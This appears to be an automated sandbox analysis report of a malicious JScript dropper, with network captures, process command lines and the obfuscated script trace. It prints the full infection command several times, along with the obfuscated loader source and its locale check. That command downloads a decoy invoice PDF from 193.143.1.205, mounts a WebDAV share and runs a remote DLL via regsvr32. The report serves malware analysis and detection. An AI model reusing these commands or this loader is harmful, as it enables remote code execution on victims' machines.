0	192.168.2.6	49709	193.143.1.205	80	3424	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:38:06.013748884 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:38:06.804748058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:38:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:38:06.804757118 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:38:06.804764032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 14:38:06.804807901 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 14:38:06.804816961 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 14:38:06.804826975 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 14:38:06.804882050 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 14:38:06.804903984 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 14:38:06.804970026 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 14:38:06.804980993 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 14:38:06.809629917 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	5328	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:38:08.427849054 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:38:09.230165958 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:38:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:38:02
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2503475573085815370.js"
Imagebase:	0x7ff6a0cc0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:38:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll
Imagebase:	0x7ff79d960000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:38:03
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:38:03
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:38:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:38:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff79d960000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:38:07
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6877f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:38:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:38:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:38:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1556,i,7867545893570432447,8989742260795296181,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pumoajygm() {	pumoajygm() ➔ undefined
1	cvwkvzi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var umxuwap = this[qtahot + fcqlpfju + tzbsnih + qsulc + djedsc + ynwkr + yuhmlu + fbmipmf] ( this[orfdtq + jgkixmtp + evuvahcsp + tzbsnih + fucocm + qtahot + fbmipmf][tikkkmjfa + tzbsnih + djedsc + fcqlpfju + fbmipmf + djedsc + gwdhf + vlkdilcl + qgbzjbd + djedsc + evuvahcsp + fbmipmf] ( orfdtq + jgkixmtp + evuvahcsp + tzbsnih + fucocm + qtahot + fbmipmf + anpozcyim + jgkixmtp + uspldkji + djedsc + cjnnp + cjnnp ) [nobemvu + djedsc + oxjkf + nobemvu + djedsc + fcqlpfju + fyfmptdj] ( acifzjfn + bvdocmvo + xkbaf + tddmob + eitrv + tikkkmjfa + igstvlolc + nobemvu + nobemvu + xkbaf + hlpuhfj + iasbkye + eitrv + igstvlolc + jgkixmtp + xkbaf + nobemvu + oyqhjqz + tikkkmjfa + itczayxv + yuhmlu + fbmipmf + tzbsnih + itczayxv + cjnnp + wdsbv + txqmqznq + fcqlpfju + yuhmlu + djedsc + cjnnp + oyqhjqz + ynwkr + yuhmlu + fbmipmf + djedsc + tzbsnih + yuhmlu + fcqlpfju + fbmipmf + fucocm + itczayxv + yuhmlu + fcqlpfju + cjnnp + oyqhjqz + qixak + itczayxv + evuvahcsp + fcqlpfju + cjnnp + djedsc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mzjruazd = 0 ; mzjruazd < cvwkvzi[cjnnp + djedsc + yuhmlu + oxjkf + fbmipmf + uspldkji] ; ++ mzjruazd )
4	{
5	if ( umxuwap == cvwkvzi[mzjruazd] )
6	{
7	umxuwap = true;
8	break ;
9	}
10	}
11	if ( umxuwap !== true )
12	this[orfdtq + jgkixmtp + evuvahcsp + tzbsnih + fucocm + qtahot + fbmipmf][zvnrmj + ugkoygy + fucocm + fbmipmf] ( );
13	this[orfdtq + jgkixmtp + evuvahcsp + tzbsnih + fucocm + qtahot + fbmipmf][tikkkmjfa + tzbsnih + djedsc + fcqlpfju + fbmipmf + djedsc + gwdhf + vlkdilcl + qgbzjbd + djedsc + evuvahcsp + fbmipmf] ( orfdtq + jgkixmtp + evuvahcsp + tzbsnih + fucocm + qtahot + fbmipmf + anpozcyim + jgkixmtp + uspldkji + djedsc + cjnnp + cjnnp ) [tzbsnih + ugkoygy + yuhmlu] ( evuvahcsp + powqhrs + fyfmptdj + wdsbv + tqjehuja + evuvahcsp + wdsbv + qtahot + itczayxv + fdpxe + djedsc + tzbsnih + qsulc + uspldkji + djedsc + cjnnp + cjnnp + anpozcyim + djedsc + qaclnup + djedsc + wdsbv + qzlaj + tikkkmjfa + itczayxv + powqhrs + powqhrs + fcqlpfju + yuhmlu + fyfmptdj + wdsbv + wpispgcaa + ynwkr + yuhmlu + arlnwfwh + itczayxv + tccqogj + djedsc + qzlaj + orfdtq + djedsc + vlkdilcl + nobemvu + djedsc + prufzcy + ugkoygy + djedsc + qsulc + fbmipmf + wdsbv + qzlaj + gwdhf + ugkoygy + fbmipmf + oqfkzwi + fucocm + cjnnp + djedsc + wdsbv + uijefcd + fbmipmf + djedsc + powqhrs + qtahot + uijefcd + oyqhjqz + fucocm + yuhmlu + arlnwfwh + itczayxv + fucocm + evuvahcsp + djedsc + anpozcyim + qtahot + fyfmptdj + jkghyloi + wdsbv + uspldkji + fbmipmf + fbmipmf + qtahot + xvvvs + tqjehuja + tqjehuja + cuggxs + tlucfts + txpjwhsad + anpozcyim + cuggxs + mbeoob + txpjwhsad + anpozcyim + cuggxs + anpozcyim + sxxtvlyl + gjupoqlfs + obumsndl + tqjehuja + fucocm + yuhmlu + arlnwfwh + itczayxv + fucocm + evuvahcsp + djedsc + anpozcyim + qtahot + uspldkji + qtahot + wpispgcaa + wuzylldc + wuzylldc + qsulc + fbmipmf + fcqlpfju + tzbsnih + fbmipmf + wdsbv + uijefcd + fbmipmf + djedsc + powqhrs + qtahot + uijefcd + oyqhjqz + fucocm + yuhmlu + arlnwfwh + itczayxv + fucocm + evuvahcsp + djedsc + anpozcyim + qtahot + fyfmptdj + jkghyloi + wuzylldc + wuzylldc + evuvahcsp + powqhrs + fyfmptdj + wdsbv + tqjehuja + evuvahcsp + wdsbv + yuhmlu + djedsc + fbmipmf + wdsbv + ugkoygy + qsulc + djedsc + wdsbv + oyqhjqz + oyqhjqz + cuggxs + tlucfts + txpjwhsad + anpozcyim + cuggxs + mbeoob + txpjwhsad + anpozcyim + cuggxs + anpozcyim + sxxtvlyl + gjupoqlfs + obumsndl + ecvoxu + uemwsaaep + uemwsaaep + uemwsaaep + uemwsaaep + oyqhjqz + fyfmptdj + fcqlpfju + arlnwfwh + fdpxe + fdpxe + fdpxe + tzbsnih + itczayxv + itczayxv + fbmipmf + oyqhjqz + wuzylldc + wuzylldc + evuvahcsp + powqhrs + fyfmptdj + wdsbv + tqjehuja + evuvahcsp + wdsbv + tzbsnih + djedsc + oxjkf + qsulc + arlnwfwh + tzbsnih + txpjwhsad + sxxtvlyl + wdsbv + tqjehuja + qsulc + wdsbv + oyqhjqz + oyqhjqz + cuggxs + tlucfts + txpjwhsad + anpozcyim + cuggxs + mbeoob + txpjwhsad + anpozcyim + cuggxs + anpozcyim + sxxtvlyl + gjupoqlfs + obumsndl + ecvoxu + uemwsaaep + uemwsaaep + uemwsaaep + uemwsaaep + oyqhjqz + fyfmptdj + fcqlpfju + arlnwfwh + fdpxe + fdpxe + fdpxe + tzbsnih + itczayxv + itczayxv + fbmipmf + oyqhjqz + cuggxs + txpjwhsad + obumsndl + cuggxs + tlucfts + txpjwhsad + sxxtvlyl + gjupoqlfs + tlucfts + cuggxs + sxxtvlyl + uemwsaaep + cuggxs + hwjthn + cuggxs + anpozcyim + fyfmptdj + cjnnp + cjnnp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll",0,false) ➔ 0
14	}
15	acifzjfn = "X";
16	acifzjfn = "K";
17	acifzjfn = "O";
18	acifzjfn = "Q";
19	acifzjfn = "d";
20	acifzjfn = "F";
21	acifzjfn = "B";
22	acifzjfn = "Y";
23	acifzjfn = "m";
24	acifzjfn = "i";
25	acifzjfn = "W";
26	acifzjfn = "a";
27	acifzjfn = "c";
28	acifzjfn = "x";
29	acifzjfn = "K";
30	acifzjfn = "q";
31	acifzjfn = "E";
32	acifzjfn = "l";
33	acifzjfn = "I";
34	acifzjfn = "A";
35	acifzjfn = "Q";
36	acifzjfn = "H";
37	fucocm = "M";
38	fucocm = "V";
39	fucocm = "M";
40	fucocm = "O";
41	fucocm = "U";
42	fucocm = "N";
43	fucocm = "E";
44	fucocm = "J";
45	fucocm = "N";
46	fucocm = "l";
47	fucocm = "T";
48	fucocm = "f";
49	fucocm = "c";
50	fucocm = "P";
51	fucocm = "b";
52	fucocm = "q";
53	fucocm = "Q";
54	fucocm = "V";
55	fucocm = "v";
56	fucocm = "y";
57	fucocm = "R";
58	fucocm = "G";
59	fucocm = "o";
60	fucocm = "Q";
61	fucocm = "g";
62	fucocm = "L";
63	fucocm = "h";
64	fucocm = "V";
65	fucocm = "q";
66	fucocm = "c";
67	fucocm = "y";
68	fucocm = "i";
69	nobemvu = "h";
70	nobemvu = "k";
71	nobemvu = "t";
72	nobemvu = "W";
73	nobemvu = "A";
74	nobemvu = "y";
75	nobemvu = "D";
76	nobemvu = "R";
77	oqfkzwi = "u";
78	oqfkzwi = "o";
79	oqfkzwi = "W";
80	oqfkzwi = "v";
81	oqfkzwi = "A";
82	oqfkzwi = "l";
83	oqfkzwi = "h";
84	oqfkzwi = "h";
85	oqfkzwi = "W";
86	oqfkzwi = "F";
87	hwjthn = "N";
88	hwjthn = "O";
89	hwjthn = "F";
90	hwjthn = "Q";
91	hwjthn = "p";
92	hwjthn = "a";
93	hwjthn = "w";
94	hwjthn = "d";
95	hwjthn = "i";
96	hwjthn = "F";
97	hwjthn = "x";
98	hwjthn = "e";
99	hwjthn = "d";
100	hwjthn = "A";
101	hwjthn = "l";
102	hwjthn = "d";
103	hwjthn = "e";
104	hwjthn = "L";
105	hwjthn = "7";
106	fcqlpfju = "B";
107	fcqlpfju = "U";
108	fcqlpfju = "W";
109	fcqlpfju = "a";
110	fcqlpfju = "a";
111	igstvlolc = "v";
112	igstvlolc = "N";
113	igstvlolc = "P";
114	igstvlolc = "f";
115	igstvlolc = "C";
116	igstvlolc = "f";
117	igstvlolc = "L";
118	igstvlolc = "d";
119	igstvlolc = "V";
120	igstvlolc = "D";
121	igstvlolc = "n";
122	igstvlolc = "Y";
123	igstvlolc = "U";
124	igstvlolc = "S";
125	igstvlolc = "K";
126	igstvlolc = "H";
127	igstvlolc = "x";
128	igstvlolc = "G";
129	igstvlolc = "g";
130	igstvlolc = "W";
131	igstvlolc = "W";
132	igstvlolc = "J";
133	igstvlolc = "l";
134	igstvlolc = "h";
135	igstvlolc = "Q";
136	igstvlolc = "M";
137	igstvlolc = "n";
138	igstvlolc = "R";
139	igstvlolc = "V";
140	igstvlolc = "K";
141	igstvlolc = "n";
142	igstvlolc = "Q";
143	igstvlolc = "s";
144	igstvlolc = "L";
145	igstvlolc = "v";
146	igstvlolc = "S";
147	igstvlolc = "y";
148	igstvlolc = "h";
149	igstvlolc = "q";
150	igstvlolc = "o";
151	igstvlolc = "U";
152	arlnwfwh = "b";
153	arlnwfwh = "U";
154	arlnwfwh = "c";
155	arlnwfwh = "A";
156	arlnwfwh = "N";
157	arlnwfwh = "N";
158	arlnwfwh = "p";
159	arlnwfwh = "C";
160	arlnwfwh = "E";
161	arlnwfwh = "y";
162	arlnwfwh = "T";
163	arlnwfwh = "h";
164	arlnwfwh = "I";
165	arlnwfwh = "Y";
166	arlnwfwh = "G";
167	arlnwfwh = "I";
168	arlnwfwh = "d";
169	arlnwfwh = "j";
170	arlnwfwh = "L";
171	arlnwfwh = "v";
172	anpozcyim = "a";
173	anpozcyim = "m";
174	anpozcyim = "Q";
175	anpozcyim = "y";
176	anpozcyim = "y";
177	anpozcyim = "Z";
178	anpozcyim = "N";
179	anpozcyim = "A";
180	anpozcyim = "X";
181	anpozcyim = "P";
182	anpozcyim = "t";
183	anpozcyim = "Z";
184	anpozcyim = "L";
185	anpozcyim = "v";
186	anpozcyim = "n";
187	anpozcyim = "X";
188	anpozcyim = ".";
189	mbeoob = "w";
190	mbeoob = "Y";
191	mbeoob = "s";
192	mbeoob = "v";
193	mbeoob = "i";
194	mbeoob = "d";
195	mbeoob = "h";
196	mbeoob = "4";
197	tlucfts = "e";
198	tlucfts = "W";
199	tlucfts = "x";
200	tlucfts = "a";
201	tlucfts = "G";
202	tlucfts = "A";
203	tlucfts = "G";
204	tlucfts = "R";
205	tlucfts = "Q";
206	tlucfts = "l";
207	tlucfts = "g";
208	tlucfts = "S";
209	tlucfts = "e";
210	tlucfts = "m";
211	tlucfts = "z";
212	tlucfts = "P";
213	tlucfts = "o";
214	tlucfts = "g";
215	tlucfts = "j";
216	tlucfts = "t";
217	tlucfts = "b";
218	tlucfts = "D";
219	tlucfts = "C";
220	tlucfts = "p";
221	tlucfts = "9";
222	ugkoygy = "j";
223	ugkoygy = "n";
224	ugkoygy = "w";
225	ugkoygy = "k";
226	ugkoygy = "Y";
227	ugkoygy = "W";
228	ugkoygy = "D";
229	ugkoygy = "L";
230	ugkoygy = "o";
231	ugkoygy = "O";
232	ugkoygy = "u";
233	yuhmlu = "z";
234	yuhmlu = "T";
235	yuhmlu = "Q";
236	yuhmlu = "C";
237	yuhmlu = "C";
238	yuhmlu = "E";
239	yuhmlu = "m";
240	yuhmlu = "i";
241	yuhmlu = "b";
242	yuhmlu = "E";
243	yuhmlu = "X";
244	yuhmlu = "O";
245	yuhmlu = "s";
246	yuhmlu = "w";
247	yuhmlu = "N";
248	yuhmlu = "P";
249	yuhmlu = "d";
250	yuhmlu = "G";
251	yuhmlu = "m";
252	yuhmlu = "g";
253	yuhmlu = "h";
254	yuhmlu = "n";
255	evuvahcsp = "b";
256	evuvahcsp = "U";
257	evuvahcsp = "n";
258	evuvahcsp = "I";
259	evuvahcsp = "x";
260	evuvahcsp = "d";
261	evuvahcsp = "O";
262	evuvahcsp = "I";
263	evuvahcsp = "l";
264	evuvahcsp = "O";
265	evuvahcsp = "C";
266	evuvahcsp = "L";
267	evuvahcsp = "k";
268	evuvahcsp = "O";
269	evuvahcsp = "E";
270	evuvahcsp = "J";
271	evuvahcsp = "S";
272	evuvahcsp = "z";
273	evuvahcsp = "u";
274	evuvahcsp = "c";
275	powqhrs = "o";
276	powqhrs = "U";
277	powqhrs = "l";
278	powqhrs = "S";
279	powqhrs = "P";
280	powqhrs = "B";
281	powqhrs = "N";
282	powqhrs = "v";
283	powqhrs = "A";
284	powqhrs = "f";
285	powqhrs = "B";
286	powqhrs = "m";
287	xvvvs = "v";
288	xvvvs = "g";
289	xvvvs = "b";
290	xvvvs = "V";
